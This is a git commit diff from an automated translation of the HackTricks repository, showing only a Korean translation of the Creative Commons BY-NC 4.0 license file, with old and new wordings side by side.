Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:35:11 +00:00
parent a25915fefd
commit e534bd71bb
293 changed files with 13244 additions and 16790 deletions

View File

@ -1,6 +1,6 @@
{{#include ./banners/hacktricks-training.md}}
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>저작권 © Carlos Polop 2021. 별도로 명시되지 않는 한(책에 복사된 외부 정보는 원 저자에게 속함), Carlos Polop의 <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a>에 있는 텍스트는 <a href="https://creativecommons.org/licenses/by-nc/4.0/">Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>에 따라 라이센스가 부여됩니다.
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>저작권 © Carlos Polop 2021. 별도로 명시되지 않는 한 (책에 복사된 외부 정보는 원 저자에게 속함), Carlos Polop의 <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a>에 있는 텍스트는 <a href="https://creativecommons.org/licenses/by-nc/4.0/">Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>에 따라 라이센스가 부여됩니다.
라이센스: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)<br>
인간이 읽을 수 있는 라이센스: https://creativecommons.org/licenses/by-nc/4.0/<br>
@ -11,75 +11,75 @@
# Attribution-NonCommercial 4.0 International
Creative Commons Corporation(“Creative Commons”)은 법률 회사가 아니며 법률 서비스나 법률 조언을 제공하지 않습니다. Creative Commons 공 라이센스의 배포는 변호사-클라이언트 또는 기타 관계를 생성하지 않습니다. Creative Commons는 라이센스 및 관련 정보를 “있는 그대로” 제공하며, 라이센스, 그 조건 및 관련 정보에 대해 어떠한 보증도 하지 않습니다. Creative Commons는 그 사용으로 인한 손해에 대해 최대한의 범위에서 모든 책임을 부인합니다.
Creative Commons Corporation (“Creative Commons”)는 법률 회사가 아니며 법률 서비스나 법률 조언을 제공하지 않습니다. Creative Commons 공 라이센스의 배포는 변호사-클라이언트 또는 기타 관계를 생성하지 않습니다. Creative Commons는 라이센스 및 관련 정보를 "있는 그대로" 제공하며, 라이센스, 그 조건 및 관련 정보에 대해 어떠한 보증도 하지 않습니다. Creative Commons는 그 사용으로 인한 손해에 대해 최대한의 범위에서 모든 책임을 부인합니다.
## Creative Commons 공 라이센스 사용
## Creative Commons 공 라이센스 사용
Creative Commons 공개 라이센스는 창작자 및 기타 권리 보유자가 저작권 및 아래 공개 라이센스에 명시된 특정 기타 권리에 따라 원본 저작물 및 기타 자료를 공유하는 데 사용할 수 있는 표준 조건 세트를 제공합니다. 다음 고려 사항은 정보 제공 목적으로만 제공되며, 포괄적이지 않으며, 우리의 라이센스의 일부를 형성하지 않습니다.
Creative Commons 공공 라이센스는 창작자 및 기타 권리 보유자가 저작권 및 아래 공공 라이센스에 명시된 특정 기타 권리에 따라 원본 저작물 및 기타 자료를 공유하는 데 사용할 수 있는 표준 조건 세트를 제공합니다. 다음 고려 사항은 정보 제공 목적으로만 제공되며, 포괄적이지 않으며, 우리의 라이센스의 일부를 형성하지 않습니다.
- **라이센서에 대한 고려 사항:** 우리의 공 라이센스는 저작권 및 특정 기타 권리에 의해 제한된 방식으로 자료를 사용할 수 있도록 대중에게 허가할 권한이 있는 사람들을 위해 설계되었습니다. 우리의 라이센스는 취소할 수 없습니다. 라이센서는 선택한 라이센스의 조건을 읽고 이해해야 합니다. 라이센서는 대중이 예상대로 자료를 재사용할 수 있도록 필요한 모든 권리를 확보해야 합니다. 라이센서는 라이센스의 적용을 받지 않는 자료를 명확하게 표시해야 합니다. 여기에는 다른 CC 라이센스 자료 또는 저작권 예외 또는 제한에 따라 사용된 자료가 포함됩니다. [라이센서에 대한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **라이센서에 대한 고려 사항:** 우리의 공 라이센스는 저작권 및 특정 기타 권리에 의해 제한된 방식으로 자료를 사용할 수 있도록 대중에게 허가를 부여할 권한이 있는 사람들에 의해 사용되도록 설계되었습니다. 우리의 라이센스는 취소할 수 없습니다. 라이센서는 선택한 라이센스의 조건을 읽고 이해해야 합니다. 라이센서는 대중이 예상대로 자료를 재사용할 수 있도록 필요한 모든 권리를 확보해야 합니다. 라이센서는 라이센스의 적용을 받지 않는 자료를 명확하게 표시해야 합니다. 여기에는 다른 CC 라이센스 자료 또는 저작권에 대한 예외 또는 제한에 따라 사용된 자료가 포함됩니다. [라이센서에 대한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **대중에 대한 고려 사항:** 우리의 공 라이센스 중 하나를 사용함으로써, 라이센서는 대중에게 지정된 조건 및 조건에 따라 라이센스된 자료를 사용할 수 있는 권한을 부여합니다. 라이센서의 허가가 필요하지 않은 경우—예를 들어, 저작권의 적용 가능한 예외 또는 제한으로 인해—그 사용은 라이센스에 의해 규제되지 않습니다. 우리의 라이센스는 라이센서가 부여할 권한이 있는 저작권 및 특정 기타 권리 하에만 권한을 부여합니다. 라이센스된 자료의 사용은 여전히 다른 이유로 제한될 수 있으며, 여기에는 다른 사람들이 자료에 대한 저작권 또는 기타 권리를 가지고 있는 경우가 포함됩니다. 라이센서는 모든 변경 사항이 표시되거나 설명되도록 요청할 수 있습니다. 우리의 라이센스에서 요구하지 않지만, 합리적인 경우 이러한 요청을 존중하는 것이 권장됩니다. [대중에 대한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
- **대중에 대한 고려 사항:** 우리의 공 라이센스 중 하나를 사용함으로써, 라이센서는 대중에게 지정된 조건 및 조건에 따라 라이센스된 자료를 사용할 수 있는 권한을 부여합니다. 라이센서의 허가가 필요하지 않은 경우—예를 들어, 저작권에 대한 적용 가능한 예외 또는 제한 때문에—그 사용은 라이센스에 의해 규제되지 않습니다. 우리의 라이센스는 라이센서가 부여할 권한이 있는 저작권 및 특정 기타 권리에 따라 허가만 부여합니다. 라이센스된 자료의 사용은 여전히 다른 이유로 제한될 수 있으며, 여기에는 다른 사람들이 자료에 대한 저작권 또는 기타 권리를 가지고 있는 경우가 포함됩니다. 라이센서는 모든 변경 사항이 표시되거나 설명되도록 요청할 수 있습니다. 우리의 라이센스에 의해 요구되지는 않지만, 합리적인 경우 이러한 요청을 존중하는 것이 권장됩니다. [대중에 대한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Creative Commons Attribution-NonCommercial 4.0 International 공 라이센스
# Creative Commons Attribution-NonCommercial 4.0 International 공 라이센스
라이센스된 권리를 행사함으로써(아래 정의됨), 귀하는 이 Creative Commons Attribution-NonCommercial 4.0 International 공개 라이센스("공개 라이센스")의 조건에 구속되는 것에 동의합니다. 이 공개 라이센스가 계약으로 해석될 수 있는 범위 내에서, 귀하는 이러한 조건을 수용하는 대가로 라이센스된 권리를 부여받으며, 라이센서는 이러한 조건 하에 라이센스된 자료를 제공함으로써 귀하에게 그러한 권리를 부여합니다.
라이센스된 권리를 행사함으로써 (아래 정의됨), 귀하는 이 Creative Commons Attribution-NonCommercial 4.0 International 공공 라이센스("공공 라이센스")의 조건에 구속되는 것에 동의합니다. 이 공공 라이센스가 계약으로 해석될 수 있는 범위 내에서, 귀하는 이러한 조건을 수용하는 대가로 라이센스된 권리를 부여받으며, 라이센서는 이러한 조건에 따라 라이센스된 자료를 제공함으로써 귀하에게 그러한 권리를 부여합니다.
## 섹션 1 정의.
a. **변형 자료**는 저작권 및 유사 권리에 따라 라이센스된 자료에서 파생되거나 이를 기반으로 하며, 라이센스된 자료가 저작권 및 유사 권리에 따라 라이센서의 허가가 필요한 방식으로 번역, 변경, 배열, 변형 또는 기타 수정된 자료를 의미합니다. 이 공 라이센스의 목적을 위해, 라이센스된 자료가 음악 작품, 공연 또는 음향 녹음인 경우, 변형 자료는 항상 라이센스된 자료가 움직이는 이미지와 시간적으로 동기화될 때 생성됩니다.
a. **적응된 자료**는 저작권 및 유사 권리에 따라 라이센스된 자료에서 파생되거나 이를 기반으로 하며, 라이센스된 자료가 저작권 및 유사 권리에 따라 허가가 필요한 방식으로 번역, 변경, 배열, 변형 또는 기타 수정된 자료를 의미합니다. 이 공 라이센스의 목적을 위해, 라이센스된 자료가 음악 작품, 공연 또는 음향 녹음인 경우, 적응된 자료는 항상 라이센스된 자료가 움직이는 이미지와 시간적으로 동기화될 때 생성됩니다.
b. **어댑터의 라이센스**는 귀하가 변형 자료에 대한 귀하의 기여에 대해 이 공개 라이센스의 조건에 따라 귀하의 저작권 및 유사 권리에 적용하는 라이센스를 의미합니다.
b. **어댑터의 라이센스**는 귀하가 적응된 자료에 대한 귀하의 기여에 대해 이 공공 라이센스의 조건에 따라 귀하의 저작권 및 유사 권리에 적용하는 라이센스를 의미합니다.
c. **저작권 및 유사 권리**는 저작권 및/또는 저작권과 밀접하게 관련된 유사 권리를 의미하며, 여기에는 공연, 방송, 음향 녹음 및 Sui Generis 데이터베이스 권리가 포함되며, 권리가 어떻게 라벨링되거나 분류되는지에 관계없이 포함됩니다. 이 공 라이센스의 목적을 위해, 섹션 2(b)(1)-(2)에 명시된 권리는 저작권 및 유사 권리가 아닙니다.
c. **저작권 및 유사 권리**는 저작권 및/또는 저작권과 밀접하게 관련된 유사 권리를 의미하며, 여기에는 공연, 방송, 음향 녹음 및 Sui Generis 데이터베이스 권리가 포함되며, 권리가 어떻게 라벨링되거나 분류되는지에 관계없이 포함됩니다. 이 공 라이센스의 목적을 위해, 섹션 2(b)(1)-(2)에 명시된 권리는 저작권 및 유사 권리가 아닙니다.
d. **효과적인 기술적 조치**는 적절한 권한이 없는 경우, 1996년 12월 20일에 채택된 WIPO 저작권 조약 제11조의 의무를 이행하는 법률에 따라 우회할 수 없는 조치를 의미합니다.
e. **예외 및 제한**은 공정 사용, 공정 거래 및/또는 귀하의 라이센스된 자료 사용에 적용되는 저작권 및 유사 권리에 대한 기타 예외 또는 제한을 의미합니다.
f. **라이센스된 자료**는 라이센서가 이 공 라이센스를 적용한 예술적 또는 문학적 작업, 데이터베이스 또는 기타 자료를 의미합니다.
f. **라이센스된 자료**는 라이센서가 이 공 라이센스를 적용한 예술적 또는 문학적 작업, 데이터베이스 또는 기타 자료를 의미합니다.
g. **라이센스된 권리**는 이 공 라이센스의 조건에 따라 귀하에게 부여된 권리를 의미하며, 이는 귀하의 라이센스된 자료 사용에 적용되는 모든 저작권 및 유사 권리로 제한되며, 라이센서가 라이센스할 권한이 있는 권리입니다.
g. **라이센스된 권리**는 이 공 라이센스의 조건에 따라 귀하에게 부여된 권리를 의미하며, 이는 귀하의 라이센스된 자료 사용에 적용되는 모든 저작권 및 유사 권리로 제한되며, 라이센서가 라이센스할 권한이 있는 권리입니다.
h. **라이센서**는 이 공 라이센스에 따라 권리를 부여하는 개인 또는 단체를 의미합니다.
h. **라이센서**는 이 공 라이센스에 따라 권리를 부여하는 개인 또는 단체를 의미합니다.
i. **비상업적**은 주로 상업적 이익이나 금전적 보상을 목적으로 하거나 지향하지 않음을 의미합니다. 이 공개 라이센스의 목적을 위해, 저작권 및 유사 권리의 적용을 받는 다른 자료와의 디지털 파일 공유 또는 유사한 수단에 의한 라이센스된 자료의 교환은 금전적 보상이 없는 경우 비상업적입니다.
i. **비상업적**은 주로 상업적 이익이나 금전적 보상을 목적으로 하거나 지향하지 않는 것을 의미합니다. 이 공공 라이센스의 목적을 위해, 저작권 및 유사 권리에 따라 라이센스된 자료를 디지털 파일 공유 또는 유사한 수단으로 다른 자료와 교환하는 것은 금전적 보상이 없는 경우 비상업적입니다.
j. **공유**는 라이센스된 권리에 따라 허가가 필요한 모든 수단이나 프로세스를 통해 대중에게 자료를 제공하는 것을 의미하며, 여기에는 복제, 공개 전시, 공개 공연, 배포, 전파, 통신 또는 수입이 포함되며, 대중이 개별적으로 선택한 장소와 시간에서 자료에 접근할 수 있도록 자료를 대중에게 제공하는 것을 포함합니다.
k. **Sui Generis 데이터베이스 권리**는 1996년 3월 11일 유럽 의회 및 이사회 지침 96/9/EC에 따라 데이터베이스의 법적 보호에 관한 권리를 의미하며, 수정되거나 후속된 권리 및 전 세계 어디에서나 본질적으로 동등한 권리를 포함합니다.
l. **귀하**는 이 공 라이센스에 따라 라이센스된 권리를 행사하는 개인 또는 단체를 의미합니다. 귀하의 의미는 이에 상응합니다.
l. **귀하**는 이 공 라이센스에 따라 라이센스된 권리를 행사하는 개인 또는 단체를 의미합니다. 귀하의 의미는 이에 상응합니다.
## 섹션 2 범위.
a. **_라이센스 부여._**
1. 이 공개 라이센스의 조건에 따라, 라이센서는 귀하에게 라이센스된 자료에서 라이센스된 권리를 행사할 수 있는 전 세계적이고, 로열티가 없으며, 서브라이센스가 불가능하고, 비독점적이며, 취소할 수 없는 라이센스를 부여합니다:
1. 이 공공 라이센스의 조건에 따라, 라이센서는 귀하에게 라이센스된 자료에서 라이센스된 권리를 행사할 수 있는 전 세계적이고, 로열티가 없으며, 서브라이센스가 불가능하고, 비독점적이며, 취소할 수 없는 라이센스를 부여합니다:
A. 비상업적 목적으로 라이센스된 자료를 전부 또는 일부 복제하고 공유할 수 있습니다; 및
B. 비상업적 목적으로 변형 자료를 제작, 복제 및 공유할 수 있습니다.
B. 비상업적 목적으로 적응된 자료를 생성, 복제 및 공유할 수 있습니다.
2. **예외 및 제한.** 귀하의 사용에 예외 및 제한이 적용되는 경우, 이 공 라이센스는 적용되지 않으며, 귀하는 그 조건을 준수할 필요가 없습니다.
3. **기간.** 이 공개 라이센스의 기간은 섹션 6(a)에 명시되어 있습니다.
2. **예외 및 제한.** 귀하의 사용에 예외 및 제한이 적용되는 경우, 이 공 라이센스는 적용되지 않으며, 귀하는 그 조건을 준수할 필요가 없습니다.
3. **기간.** 이 공공 라이센스의 기간은 섹션 6(a)에 명시되어 있습니다.
4. **미디어 및 형식; 기술적 수정 허용.** 라이센서는 귀하가 현재 알려진 모든 미디어 및 형식에서 라이센스된 권리를 행사할 수 있도록 허가하며, 이를 위해 필요한 기술적 수정을 할 수 있도록 허가합니다. 라이센서는 귀하가 라이센스된 권리를 행사하기 위해 필요한 기술적 수정을 금지할 권리 또는 권한을 포기하고/또는 주장하지 않기로 동의합니다. 이 공 라이센스의 목적을 위해, 이 섹션 2(a)(4)에 의해 허가된 수정을 단순히 하는 것은 결코 변형 자료를 생성하지 않습니다.
5. **하류 수령자.**
4. **미디어 및 형식; 기술적 수정 허용.** 라이센서는 귀하가 현재 알려진 모든 미디어 및 형식에서 라이센스된 권리를 행사할 수 있도록 허가하며, 이를 위해 필요한 기술적 수정을 할 수 있도록 허가합니다. 라이센서는 귀하가 라이센스된 권리를 행사하기 위해 필요한 기술적 수정을 하는 것을 금지할 권리 또는 권한을 포기하고/또는 주장하지 않기로 동의합니다. 이 공 라이센스의 목적을 위해, 이 섹션 2(a)(4)에 의해 허가된 수정을 단순히 하는 것은 결코 적응된 자료를 생성하지 않습니다.
5. **하류 수령자.**
A. **라이센서의 제안 라이센스된 자료.** 라이센스된 자료의 모든 수령자는 자동으로 이 공 라이센스의 조건에 따라 라이센스된 권리를 행사할 수 있는 제안을 라이센서로부터 받습니다.
A. **라이센서의 제안 라이센스된 자료.** 라이센스된 자료의 모든 수령자는 자동으로 이 공 라이센스의 조건에 따라 라이센스된 권리를 행사할 수 있는 제안을 받습니다.
B. **하류 제한 없음.** 귀하는 라이센스된 자료에 대해 추가적이거나 다른 조건을 제안하거나 부과할 수 없으며, 라이센스된 자료의 수령자가 라이센스된 권리를 행사하는 것을 제한하는 효과적인 기술적 조치를 적용할 수 없습니다.
B. **하류 제한 없음.** 귀하는 라이센스된 자료에 대해 추가적이거나 다른 조건을 제안하거나 부과할 수 없으며, 라이센스된 자료의 수령자가 라이센스된 권리를 행사하는 것을 제한하는 경우에는 효과적인 기술적 조치를 적용할 수 없습니다.
6. **보증 없음.** 이 공개 라이센스의 어떤 내용도 귀하가 라이센서 또는 섹션 3(a)(1)(A)(i)에 제공된 대로 귀하에게 귀속을 받을 자로 지정된 다른 사람들과 연결되거나, 후원되거나, 보증되거나, 공식적인 지위를 부여받았다는 것을 주장하거나 암시하는 허가로 해석되지 않습니다.
6. **보증 없음.** 이 공공 라이센스의 어떤 내용도 귀하가 라이센서 또는 섹션 3(a)(1)(A)(i)에 제공된 대로 귀하의 사용이 라이센서와 연결되거나, 후원되거나, 보증되거나, 공식적인 지위를 부여받았다는 것을 주장하거나 암시하는 허가로 해석되지 않습니다.
b. **_기타 권리._**
1. 도덕적 권리, 예를 들어, 무결성의 권리는 이 공 라이센스에 따라 라이센스되지 않으며, 공공성, 개인 정보 및/또는 기타 유사한 인격권도 마찬가지입니다. 그러나 가능한 한, 라이센서는 귀하가 라이센스된 권리를 행사할 수 있도록 필요한 한도 내에서 라이센서가 보유한 그러한 권리를 포기하고/또는 주장하지 않기로 동의합니다.
1. 도덕적 권리, 예를 들어, 무결성의 권리는 이 공 라이센스에 따라 라이센스되지 않으며, 공공성, 개인 정보 및/또는 기타 유사한 인격권도 마찬가지입니다. 그러나 가능한 한, 라이센서는 귀하가 라이센스된 권리를 행사할 수 있도록 필요한 한도 내에서 라이센서가 보유한 그러한 권리를 포기하고/또는 주장하지 않기로 동의합니다.
2. 특허 및 상표권은 이 공개 라이센스에 따라 라이센스되지 않습니다.
2. 특허 및 상표권은 이 공공 라이센스에 따라 라이센스되지 않습니다.
3. 가능한 한, 라이센서는 귀하가 라이센스된 권리를 행사하는 것에 대해 귀하로부터 로열티를 징수할 권리를 포기합니다. 모든 다른 경우에 라이센서는 그러한 로열티를 징수할 권리를 명시적으로 보유합니다. 라이센스된 자료가 비상업적 목적 이외의 용도로 사용되는 경우도 포함됩니다.
3. 가능한 한, 라이센서는 귀하가 라이센스된 권리를 행사하는 것에 대해 귀하에게 로열티를 징수할 권리를 포기합니다. 모든 다른 경우에 라이센서는 그러한 로열티를 징수할 권리를 명시적으로 보유합니다. 라이센스된 자료가 비상업적 목적 이외의 용도로 사용되는 경우를 포함합니다.
## 섹션 3 라이센스 조건.
@ -87,81 +87,81 @@ b. **_기타 권리._**
a. **_귀속._**
1. 귀하가 라이센스된 자료를 공유하는 경우(변형된 형태 포함), 귀하는 다음을 수행해야 합니다:
1. 귀하가 라이센스된 자료를 공유하는 경우(수정된 형태 포함), 귀하는:
A. 라이센서가 라이센스된 자료와 함께 제공한 경우 다음을 유지해야 합니다:
i. 라이센스된 자료의 창작자 및 귀속을 받을 자로 지정된 다른 사람들의 식별을 라이센서가 요청한 합리적인 방식으로(지정된 경우 필명을 포함하여);
i. 라이센스된 자료의 창작자 및 귀속을 받을 다른 사람들을 라이센서가 요청한 합리적인 방식으로 식별합니다(지정된 경우 필명을 포함);
ii. 저작권 고지;
iii. 이 공 라이센스를 참조하는 고지;
iii. 이 공 라이센스를 참조하는 고지;
iv. 보증 부인 고지;
v. 라이센스된 자료에 대한 URI 또는 하이퍼링크를 가능한 한 합리적으로 유지;
v. 라이센스된 자료에 대한 URI 또는 하이퍼링크를 가능한 한 합리적으로 유지합니다;
B. 귀하가 라이센스된 자료를 수정한 경우 이를 표시하고 이전 수정 사항의 표시를 유지해야 합니다; 및
B. 라이센스된 자료를 수정한 경우 이를 표시하고 이전 수정 사항의 표시를 유지해야 합니다; 및
C. 라이센스된 자료가 이 공개 라이센스에 따라 라이센스되었음을 표시하고, 이 공개 라이센스의 텍스트 또는 URI 또는 하이퍼링크를 포함해야 합니다.
C. 라이센스된 자료가 이 공공 라이센스에 따라 라이센스되었음을 표시하고, 이 공공 라이센스의 텍스트 또는 URI 또는 하이퍼링크를 포함해야 합니다.
2. 귀하는 라이센스된 자료를 공유하는 매체, 수단 및 맥락에 따라 섹션 3(a)(1)의 조건을 합리적인 방식으로 충족할 수 있습니다. 예를 들어, 필요한 정보를 포함하는 리소스에 대한 URI 또는 하이퍼링크를 제공하여 조건을 충족하는 것이 합리적일 수 있습니다.
2. 귀하는 라이센스된 자료를 공유하는 매체, 수단 및 맥락에 따라 섹션 3(a)(1)의 조건을 합리적인 방식으로 충족할 수 있습니다. 예를 들어, 필요한 정보를 포함하는 리소스에 대한 URI 또는 하이퍼링크를 제공하여 조건을 충족하는 것이 합리적일 수 있습니다.
3. 라이센서가 요청하는 경우, 귀하는 섹션 3(a)(1)(A)에 의해 요구되는 정보를 가능한 한 합리적으로 제거해야 합니다.
3. 라이센서가 요청하는 경우, 귀하는 섹션 3(a)(1)(A)에 의해 요구되는 정보를 가능한 한 합리적으로 제거해야 합니다.
4. 귀하가 생성한 변형 자료를 공유하는 경우, 귀하가 적용하는 어댑터의 라이센스는 변형 자료의 수령자가 이 공개 라이센스를 준수하는 것을 방해해서는 안 됩니다.
4. 귀하가 생성한 적응된 자료를 공유하는 경우, 귀하가 적용하는 어댑터의 라이센스는 적응된 자료의 수령자가 이 공공 라이센스를 준수하는 것을 방해해서는 안 됩니다.
## 섹션 4 Sui Generis 데이터베이스 권리.
라이센스된 권리가 귀하의 라이센스된 자료 사용에 적용되는 Sui Generis 데이터베이스 권리를 포함하는 경우:
a. 의심을 피하기 위해, 섹션 2(a)(1) 귀하에게 비상업적 목적으로 데이터베이스의 모든 또는 상당 부분의 내용을 추출, 재사용, 복제 및 공유할 권리를 부여합니다;
a. 의심을 피하기 위해, 섹션 2(a)(1) 귀하에게 비상업적 목적으로 데이터베이스의 모든 또는 상당 부분의 내용을 추출, 재사용, 복제 및 공유할 권리를 부여합니다;
b. 귀하가 Sui Generis 데이터베이스 권리를 보유한 데이터베이스에 데이터베이스 내용의 모든 또는 상당 부분을 포함하는 경우, 귀하가 Sui Generis 데이터베이스 권리를 보유한 데이터베이스(그러나 그 개별 내용은 아님)는 변형 자료입니다; 및
b. 귀하가 Sui Generis 데이터베이스 권리를 보유한 데이터베이스에 데이터베이스의 모든 또는 상당 부분의 내용을 포함하는 경우, 귀하가 Sui Generis 데이터베이스 권리를 보유한 데이터베이스(그러나 그 개별 내용은 아님)는 적응된 자료입니다; 및
c. 귀하 데이터베이스의 모든 또는 상당 부분의 내용을 공유하는 경우 섹션 3(a)의 조건을 준수해야 합니다.
c. 귀하 데이터베이스의 모든 또는 상당 부분의 내용을 공유하는 경우, 귀하는 섹션 3(a)의 조건을 준수해야 합니다.
의심을 피하기 위해, 이 섹션 4는 라이센스된 권리가 다른 저작권 및 유사 권리를 포함하는 경우 이 공개 라이센스 하의 귀하의 의무를 보완하며 대체하지 않습니다.
의심을 피하기 위해, 이 섹션 4는 라이센스된 권리가 다른 저작권 및 유사 권리를 포함하는 경우 귀하의 의무를 보완하며 대체하지 않습니다.
## 섹션 5 보증 부인 및 책임 제한.
a. **라이센서가 별도로 약속하지 않는 한, 가능한 한, 라이센서는 라이센스된 자료를 있는 그대로 제공하며, 라이센스된 자료에 대해 어떠한 종류의 진술이나 보증도 하지 않습니다. 여기에는 제목, 상업성, 특정 목적에 대한 적합성, 비침해, 잠재적 또는 기타 결함의 부재, 정확성 또는 오류의 존재 또는 부재에 대한 보증이 포함되며, 이는 알려져 있거나 발견 가능한지 여부에 관계없이 포함됩니다. 보증 부인이 전부 또는 일부 허용되지 않는 경우, 이 부인은 귀하에게 적용되지 않을 수 있습니다.**
a. **라이센서가 별도로 약속하지 않는 한, 가능한 한, 라이센서는 라이센스된 자료를 있는 그대로 제공하며, 라이센스된 자료에 대해 어떠한 종류의 진술이나 보증도 하지 않습니다. 여기에는 제목, 상업성, 특정 목적에 대한 적합성, 비침해, 잠재적 또는 기타 결함의 부재, 정확성 또는 오류의 존재 또는 부재에 대한 보증이 포함되며, 이는 알려져 있거나 발견 가능 여부에 관계없이 포함됩니다. 보증 부인이 전부 또는 일부 허용되지 않는 경우, 이 부인은 귀하에게 적용되지 않을 수 있습니다.**
b. **가능한 한, 어떤 법적 이론(과실 포함) 또는 기타로 인해 라이센서는 귀하에게 이 공 라이센스 또는 라이센스된 자료의 사용으로 인해 발생하는 직접적, 특별, 간접적, 우발적, 결과적, 징벌적, 모범적 또는 기타 손실, 비용, 경비 또는 손해에 대해 책임을 지지 않습니다. 라이센서가 그러한 손실, 비용, 경비 또는 손해의 가능성에 대해 통보받았더라도 마찬가지입니다. 책임 제한이 전부 또는 일부 허용되지 않는 경우, 이 제한은 귀하에게 적용되지 않을 수 있습니다.**
b. **가능한 한, 어떤 법적 이론(과실 포함) 또는 기타로 인해 라이센서는 귀하에게 이 공 라이센스 또는 라이센스된 자료의 사용으로 인해 발생하는 직접적, 특별, 간접적, 우발적, 결과적, 징벌적, 모범적 또는 기타 손실, 비용, 경비 또는 손해에 대해 책임을 지지 않습니다. 라이센서가 그러한 손실, 비용, 경비 또는 손해의 가능성에 대해 통보받았더라도 마찬가지입니다. 책임 제한이 전부 또는 일부 허용되지 않는 경우, 이 제한은 귀하에게 적용되지 않을 수 있습니다.**
c. 위에서 제공된 보증 부인 및 책임 제한은 가능한 한 모든 책임의 절대적인 부인 및 포기를 가장 밀접하게 근접하는 방식으로 해석되어야 합니다.
## 섹션 6 기간 및 종료.
a. 이 공 라이센스는 여기에서 라이센스된 저작권 및 유사 권리의 기간 동안 적용됩니다. 그러나 귀하가 이 공 라이센스를 준수하지 않는 경우, 귀하의 권리는 자동으로 종료됩니다.
a. 이 공 라이센스는 여기에서 라이센스된 저작권 및 유사 권리의 기간 동안 적용됩니다. 그러나 귀하가 이 공 라이센스를 준수하지 않는 경우, 귀하의 권리는 자동으로 종료됩니다.
b. 귀하의 라이센스된 자료 사용 권리가 섹션 6(a)에 따라 종료된 경우, 다음과 같이 복원됩니다:
1. 위반이 수정된 날짜에 자동으로 복원되며, 귀하가 위반을 발견한 후 30일 이내에 수정된 경우; 또는
1. 위반이 수정된 날짜에 자동으로 복원되며, 귀하가 위반을 발견한 후 30일 이내에 수정된 경우; 또는
2. 라이센서의 명시적 복원에 따라.
2. 라이센서의 명시적 복원에 따라.
의심을 피하기 위해, 이 섹션 6(b)는 라이센서가 귀하의 이 공 라이센스 위반에 대한 구제를 요청할 수 있는 권리에 영향을 미치지 않습니다.
의심을 피하기 위해, 이 섹션 6(b)는 라이센서가 귀하의 이 공 라이센스 위반에 대한 구제를 요청할 수 있는 권리에 영향을 미치지 않습니다.
c. 의심을 피하기 위해, 라이센서는 또한 라이센스된 자료를 별도의 조건으로 제공하거나 언제든지 배포를 중단할 수 있습니다. 그러나 그렇게 하더라도 이 공 라이센스는 종료되지 않습니다.
c. 의심을 피하기 위해, 라이센서는 또한 별도의 조건으로 라이센스된 자료를 제공하거나 언제든지 라이센스된 자료의 배포를 중단할 수 있습니다. 그러나 그렇게 하더라도 이 공 라이센스는 종료되지 않습니다.
d. 섹션 1, 5, 6, 7 및 8은 이 공 라이센스의 종료 후에도 유효합니다.
d. 섹션 1, 5, 6, 7 및 8은 이 공 라이센스의 종료 후에도 유효합니다.
## 섹션 7 기타 조건.
a. 라이센서는 귀하가 전달한 추가적이거나 다른 조건에 구속되지 않으며, 명시적으로 동의하지 않는 한 그러합니다.
b. 여기에서 명시되지 않은 라이센스된 자료에 대한 모든 약정, 이해 또는 계약은 이 공 라이센스의 조건과는 별개이며 독립적입니다.
b. 여기에서 명시되지 않은 라이센스된 자료에 대한 모든 약정, 이해 또는 계약은 이 공 라이센스의 조건과는 별개이며 독립적입니다.
## 섹션 8 해석.
a. 의심을 피하기 위해, 이 공개 라이센스는 귀하가 이 공개 라이센스의 허가 없이 합법적으로 수행할 수 있는 라이센스된 자료의 사용을 줄이거나 제한하거나 조건을 부과하지 않습니다.
a. 의심을 피하기 위해, 이 공공 라이센스는 귀하가 이 공공 라이센스에 따라 허가 없이 합법적으로 수행할 수 있는 라이센스된 자료의 사용을 줄이거나 제한하거나 조건을 부과하지 않습니다.
b. 가능한 한, 이 공 라이센스의 어떤 조항이 집행 불가능하다고 판단되는 경우, 집행 가능하도록 필요한 최소한의 범위로 자동으로 개정됩니다. 조항이 개정될 수 없는 경우, 나머지 조건의 집행 가능성에 영향을 미치지 않고 이 공 라이센스에서 분리됩니다.
b. 가능한 한, 이 공 라이센스의 어떤 조항이 집행 불가능하다고 판단되는 경우, 집행 가능하도록 최소한의 범위로 자동으로 개정됩니다. 조항이 개정될 수 없는 경우, 나머지 조건의 집행 가능성에 영향을 미치지 않고 이 공 라이센스에서 분리됩니다.
c. 이 공개 라이센스의 어떤 조건도 포기되지 않으며, 라이센서가 명시적으로 동의하지 않는 한 준수하지 않는 것에 대한 동의도 없습니다.
c. 이 공공 라이센스의 어떤 조건도 포기되지 않으며, 라이센서의 명시적 동의 없이 준수하지 않는 것에 대한 동의도 없습니다.
d. 이 공 라이센스의 어떤 내용도 라이센서 또는 귀하에게 적용되는 특권 및 면책의 제한 또는 포기로 해석되지 않으며, 이는 어떤 관할권 또는 권한의 법적 절차로부터도 포함됩니다.
d. 이 공 라이센스의 어떤 내용도 라이센서 또는 귀하에게 적용되는 특권 및 면책의 제한 또는 포기로 해석되지 않으며, 이는 어떤 관할권 또는 권한의 법적 절차로부터도 마찬가지입니다.
```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized 